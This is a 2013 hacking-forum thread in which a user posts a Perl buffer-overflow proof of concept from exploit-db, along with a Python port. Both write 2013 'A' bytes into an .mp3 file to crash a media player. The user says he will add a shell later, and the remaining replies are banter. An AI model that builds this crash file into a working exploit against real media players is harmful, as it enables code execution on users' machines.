Sinisterly
Perl Buffer Overflow Exploit Converted to Python - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Python (https://sinister.li/Forum-Python)
+--- Thread: Perl Buffer Overflow Exploit Converted to Python (/Thread-Perl-Buffer-Overflow-Exploit-Converted-to-Python)



Perl Buffer Overflow Exploit Converted to Python - Adorapuff - 10-02-2013

Code:
#!/usr/bin/perl $bof = "A" x 2013; $filename = "bof.mp3"; open (FILE,">$filename"); print FILE "$bof"; print "\ncreated!!!\n";
http://www.exploit-db.com/exploits/28561/

Code:
#!/usr/bin/python buffer = "\x41" * 2013 textfile = open("overflow.mp3" , 'w') textfile.write(buffer) textfile.close()

I'll code a shell into it later.


RE: Perl Buffer Overflow Exploit Converted to Python - Cyanide and Cynicism - 10-02-2013

ok that's really cool and all but perl > python


Perl Buffer Overflow Exploit Converted to Python - Adorapuff - 10-02-2013

Well Im better at python so I will use it.


RE: Perl Buffer Overflow Exploit Converted to Python - Reiko - 10-02-2013

bumper uberflaps r l33test specially when we dunno wat is 4


RE: Perl Buffer Overflow Exploit Converted to Python - Adorapuff - 10-02-2013

(10-02-2013, 09:02 PM)Starfall Wrote: bumper uberflaps r l33test specially when we dunno wat is 4
I'll pretend I understand what I just read O_o.